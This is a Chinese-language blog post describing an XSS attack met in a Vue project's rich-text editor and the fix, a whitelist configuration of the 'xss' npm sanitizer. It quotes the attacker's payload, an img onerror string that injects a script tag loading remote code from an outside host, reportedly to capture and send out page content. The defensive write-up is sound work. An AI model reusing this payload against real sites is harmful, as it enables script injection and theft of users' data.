一次VUE項目中遇到XSS攻擊的實戰記錄

Posted on by

前言

隨著互聯網的高速發展，信息安全問題已經成為企業最為關註的焦點之一，而前端又是引發企業安全問題的高危據點。在移動互聯網時代，前端人員除瞭傳統的 XSS、CSRF 等安全問題之外，又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然，瀏覽器自身也在不斷在進化和發展，不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性，但是仍存在很多潛在的威脅，這需要前端技術人員不斷進行“查漏補缺”。

發現原因

一切的原因都歸咎於富文本編輯器….

應需求將文本域修改成富文本編輯器支持用戶直接粘貼圖片遭到用戶使用網絡圖片上傳方式攻擊

攻擊代碼1″ onerror=s=createElement(‘script’);body.appendChild(s);s.src=’//x0.nz/nQqS’;

在數據回顯時，圖片報錯並執行onerror事件，導致當前頁面被截圖發送至指定郵箱

最開始解決辦法是直接關閉富文本編輯器上傳網絡圖片的方式，但是後續再次遭到此類攻擊，攻擊者使用“fiddler”修改參數達到同樣效果

最終采用第三方防禦XSS攻擊插件並通過配置白名單解決，在提交以及拿到後端返回數據時進行過濾

插件中文文檔地址：github.com/leizongmin/…

npm install xss

import filterXSS from "xss"

自定義過濾規則

在調用 xss() 函數進行過濾時，可通過第二個參數來設置自定義規則：

options = {}; // 自定義規則
html = filterXSS('<script>alert("xss");</script>', options);

通過 whiteList 來指定，格式為：{‘標簽名’: [‘屬性1’, ‘屬性2’]}。不在白名單上的標簽將被過濾，不在白名單上的屬性也會被過濾。

let options = {
    stripIgnoreTagBody: true, // 不在白名單中的標簽以及標簽裡面的內容直接刪除
    whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // 因為上面白名單中允許瞭標簽的style屬性，所以需要防止攻擊者使用此途徑進行攻擊
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)

總結

到此這篇關於VUE項目中遇到XSS攻擊的文章就介紹到這瞭,更多相關VUE項目XSS攻擊內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet！

推薦閱讀：